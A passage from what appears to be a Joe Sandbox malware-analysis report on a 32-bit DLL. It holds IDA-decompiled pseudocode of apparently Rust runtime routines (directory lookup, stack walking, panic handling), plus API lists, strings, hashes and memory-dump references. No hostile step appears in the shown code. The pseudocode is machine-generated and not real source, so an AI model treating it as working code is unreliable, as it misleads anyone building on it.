				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6E579A30(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6E579470(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6e5a06e0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6E560D10(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6e5ae128, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6e5ae128, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6e5ae128, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6e59fdd8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e59f570;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6E552150( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6e5ae128, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6e59fde0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6E56E9D0(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6E56C5AE();
						_t217 = E6E55E4E0(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6e5ae148; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6e5ae130, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6E5794E0(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e5a0ad0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6e5ae148 = _t218;
									_t267 =  *0x6e5ae14c; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6e5ae14c; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6e5ae158; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6E56E9D0(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6E55E6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6e5ae130, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6E56E9D0(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6e5ae144; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6e5ae130, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6E5794E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e5a0ad0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6e5ae144 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6E55E6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6e5ae158 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6e5ae130, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6E5794E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e5a0ad0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6E55E6D0( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6e5ae14c = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6e5ae128, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6e59fe4c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e59f570;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6E552150( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

0x6e55dd33
0x6e55dd34
0x6e55dd35
0x6e55dd39
0x6e55dd3f
0x6e55dd41
0x6e55dd47
0x6e55dd4d
0x6e55dd57
0x6e55dd71
0x6e55dd77
0x6e55dd7e
0x6e55dd80
0x6e55dd83
0x6e55dd94
0x6e55dd99
0x6e55dd9c
0x6e55dda1
0x6e55dda6
0x6e55ddad
0x6e55ddb0
0x6e55ddb7
0x6e55ddba
0x6e55ddc7
0x6e55ddca
0x6e55dde6
0x6e55dde6
0x6e55ddec
0x6e55ddf0
0x6e55ddf2
0x6e55ddf4
0x6e55ddfe
0x6e55de02
0x6e55de07
0x6e55de0d
0x6e55de0d
0x6e55de10
0x6e55de13
0x6e55de16
0x6e55de19
0x6e55de1c
0x6e55de1f
0x6e55ddcc
0x6e55de30
0x6e55de30
0x6e55de36
0x6e55de3d
0x6e55de3d
0x6e55de40
0x6e55de42
0x6e55de4a
0x6e55de50
0x6e55de54
0x6e55de62
0x6e55ddd0
0x6e55ddd3
0x6e55ddd5
0x6e55de8d
0x6e55de90
0x6e55de9a
0x6e55de9c
0x6e55e3b8
0x00000000
0x6e55dea2
0x6e55dea2
0x6e55dea5
0x6e55dea8
0x6e55dea9
0x6e55deae
0x6e55deb4
0x6e55deb9
0x6e55debb
0x6e55debe
0x6e55dec3
0x6e55dec6
0x6e55dec8
0x00000000
0x00000000
0x6e55deca
0x00000000
0x6e55dec8
0x6e55dddb
0x6e55dddb
0x6e55dde1
0x6e55dde4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55dde4
0x6e55de77
0x6e55de7a
0x6e55de82
0x6e55de85
0x00000000
0x6e55de8b
0x00000000
0x6e55de8b
0x00000000
0x6e55de85
0x6e55decc
0x6e55decc
0x6e55ded2
0x6e55ded4
0x6e55ded7
0x6e55dede
0x6e55dee1
0x6e55dee3
0x6e55dee5
0x6e55dee5
0x6e55dee9
0x6e55deeb
0x6e55def0
0x6e55defd
0x6e55defd
0x6e55def0
0x6e55dee9
0x6e55df02
0x6e55df02
0x6e55df04
0x6e55df6e
0x6e55df71
0x6e55df74
0x6e55df77
0x6e55df7a
0x6e55df06
0x6e55df06
0x6e55df0a
0x6e55df0c
0x6e55df11
0x6e55df17
0x6e55df22
0x6e55df24
0x6e55df27
0x6e55df2a
0x6e55df2d
0x6e55df31
0x6e55df33
0x6e55df35
0x6e55df39
0x6e55df3b
0x6e55df3b
0x6e55df47
0x6e55df4c
0x6e55df4c
0x6e55df58
0x6e55df58
0x6e55df5d
0x6e55df60
0x6e55df62
0x6e55df62
0x6e55df84
0x6e55df87
0x6e55df8d
0x6e55df90
0x6e55df93
0x6e55df9d
0x6e55dfa7
0x6e55dfb1
0x6e55dfbb
0x6e55dfc8
0x6e55dfd1
0x6e55dfd2
0x6e55dfd7
0x6e55dfda
0x6e55dfdc
0x6e55e255
0x6e55e255
0x6e55e258
0x6e55e25a
0x6e55e25c
0x6e55e260
0x6e55e26b
0x6e55e26b
0x6e55e260
0x6e55e270
0x00000000
0x6e55dfe2
0x6e55dfe2
0x6e55dfe8
0x6e55dfef
0x6e55dff3
0x6e55dff6
0x6e55dffd
0x6e55dfff
0x6e55e008
0x6e55e00e
0x6e55e011
0x6e55e018
0x6e55e01c
0x6e55e022
0x6e55e028
0x6e55e02e
0x6e55e036
0x6e55e03f
0x6e55e049
0x6e55e050
0x6e55e055
0x6e55e058
0x6e55e059
0x6e55e05e
0x6e55e063
0x6e55e065
0x6e55e076
0x6e55e07c
0x6e55e07f
0x6e55e081
0x6e55e09a
0x6e55e0a0
0x6e55e0a2
0x6e55e3e5
0x6e55e3fe
0x00000000
0x6e55e0a8
0x6e55e0a8
0x6e55e0aa
0x6e55e0af
0x6e55e0b5
0x6e55e0b7
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55e0b7
0x6e55e083
0x6e55e083
0x6e55e089
0x6e55e08b
0x6e55e0d9
0x6e55e0de
0x6e55e0e1
0x6e55e0e6
0x6e55e0e9
0x6e55e0ec
0x6e55e0ee
0x6e55e10e
0x6e55e10e
0x6e55e117
0x6e55e11e
0x6e55e12d
0x6e55e132
0x6e55e147
0x6e55e14e
0x6e55e151
0x6e55e15b
0x6e55e161
0x6e55e16b
0x6e55e175
0x6e55e17b
0x6e55e185
0x6e55e190
0x6e55e1ae
0x6e55e1b1
0x6e55e1b4
0x00000000
0x00000000
0x6e55e1c6
0x6e55e1cc
0x6e55e1d6
0x6e55e1db
0x6e55e1de
0x6e55e1e1
0x6e55e1e3
0x00000000
0x00000000
0x00000000
0x6e55e1e3
0x00000000
0x6e55e0f0
0x6e55e0fb
0x6e55e101
0x6e55e103
0x6e55e2b4
0x6e55e2b9
0x6e55e2ce
0x6e55e2d5
0x6e55e2dc
0x6e55e2e6
0x6e55e2ed
0x6e55e2f0
0x6e55e2fa
0x6e55e300
0x6e55e30a
0x6e55e314
0x6e55e31a
0x6e55e324
0x6e55e330
0x6e55e330
0x6e55e336
0x6e55e338
0x6e55e356
0x6e55e372
0x6e55e374
0x6e55e377
0x6e55e1e5
0x6e55e1e8
0x6e55e1ed
0x6e55e1f1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55e33a
0x6e55e345
0x6e55e34b
0x6e55e34d
0x6e55e3c2
0x6e55e3db
0x00000000
0x6e55e34f
0x6e55e34f
0x6e55e351
0x00000000
0x6e55e351
0x6e55e34d
0x00000000
0x6e55e37d
0x6e55e38d
0x6e55e393
0x6e55e39d
0x6e55e3a2
0x6e55e3a5
0x6e55e3a8
0x6e55e3a8
0x00000000
0x6e55e109
0x6e55e109
0x00000000
0x6e55e109
0x6e55e103
0x6e55e08d
0x6e55e0b9
0x6e55e0c4
0x6e55e0ca
0x6e55e0cc
0x6e55e408
0x6e55e421
0x6e55e429
0x6e55e429
0x6e55e430
0x6e55e44c
0x6e55e0d2
0x6e55e0d2
0x6e55e0d4
0x00000000
0x6e55e0d4
0x6e55e0cc
0x6e55e08b
0x6e55e067
0x6e55e067
0x6e55e06b
0x00000000
0x6e55e071
0x6e55e1f3
0x6e55e1f3
0x6e55e1f7
0x6e55e287
0x6e55e287
0x6e55e28a
0x6e55e28c
0x6e55e28e
0x6e55e292
0x6e55e29d
0x6e55e29d
0x6e55e292
0x6e55e2a2
0x6e55e1fd
0x6e55e200
0x6e55e20a
0x6e55e214
0x6e55e21e
0x6e55e228
0x6e55e232
0x6e55e248
0x6e55e249
0x6e55e251
0x6e55e253
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55e253
0x6e55e1f7
0x6e55e272
0x6e55e278
0x6e55e286
0x6e55e286
0x6e55e065
0x6e55dfdc
0x00000000

APIs

SetLastError.KERNEL32(00000000), ref: 6E55DE42
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6E55DE4A
GetLastError.KERNEL32 ref: 6E55DE56
GetLastError.KERNEL32 ref: 6E55DE68
GetLastError.KERNEL32 ref: 6E55DECC
HeapFree.KERNEL32(00000000,00000000), ref: 6E55DEFD
HeapFree.KERNEL32(00000000,?), ref: 6E55DF47
HeapFree.KERNEL32(00000000,?), ref: 6E55DF58
GetCurrentProcess.KERNEL32(?), ref: 6E55E031
GetCurrentThread.KERNEL32 ref: 6E55E039
RtlCaptureContext.KERNEL32(?), ref: 6E55E059
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6E55E09A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6E55E0C4
GetCurrentProcess.KERNEL32 ref: 6E55E0D9
GetProcAddress.KERNEL32(StackWalkEx), ref: 6E55E0FB
ReleaseMutex.KERNEL32(?), ref: 6E55E1E8
HeapFree.KERNEL32(00000000,?), ref: 6E55E26B
HeapFree.KERNEL32(00000000,?,?), ref: 6E55E29D
GetProcAddress.KERNEL32(StackWalk64), ref: 6E55E345

Strings

StackWalkEx, xrefs: 6E55E0F0
StackWalk64, xrefs: 6E55E33A
SymFunctionTableAccess64, xrefs: 6E55E08F
SymGetModuleBase64, xrefs: 6E55E0B9
called `Option::unwrap()` on a `None` value, xrefs: 6E55E3CC, 6E55E3EF, 6E55E412

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: 85a27183bfdd0fb0968da2ee7c6292727d74eac3a3722425cd30bc5c964c390c
Instruction ID: 0a1f74752cf718db5984760b432b58fad6a423ddd70e65beef94a6ca7d904292
Opcode Fuzzy Hash: 85a27183bfdd0fb0968da2ee7c6292727d74eac3a3722425cd30bc5c964c390c
Instruction Fuzzy Hash: 1B1225B1600B009FE761CFA4C894BA7BBF4BB49308F10492ED69A8B791DB71B455CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C700, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6E55C700(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = 0x6e5639a0;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6e5ae120], esi");
				_t190 = E6E55D000(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6E5795A0(_t264,  &M6E59F8F7, 0x46, _t337,  &_v68, 0x6e59f870, 0x6e59f9bc);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e59f570;
						_v120 = 0x6e59f824;
						_v68 = 0x6e5a0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E552470;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6E55D0F0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6e5ae128, 0, _t256);
							}
							_t194 = HeapFree( *0x6e5ae128, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6e5a0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e59f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6E55D0F0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6e5ae11c);
					_v144 = 0x6e5ae11c;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6E55D000(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6e5ae110; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6E55D380(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6E5795A0(_t264,  &M6E59F8F7, 0x46, _t340,  &_v68, 0x6e59f870, 0x6e59f9bc);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6e5ad044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6e5ad044;
							_t202 = E6E562960(_t264, 0x6e5ad044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6e5ad044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6e5ad044;
								_t203 = E6E562960(_t264, 0x6e5ad044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6e5ae128; // 0xe70000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6e5ad044;
										_t332 = _t205;
										_t206 =  *0x6e5ad044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6E562960(_t264, 0x6e5ad044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6E5792F0(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6e5ae128, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6e5ae110;
											 *0x6e5ae110 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6e563290
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
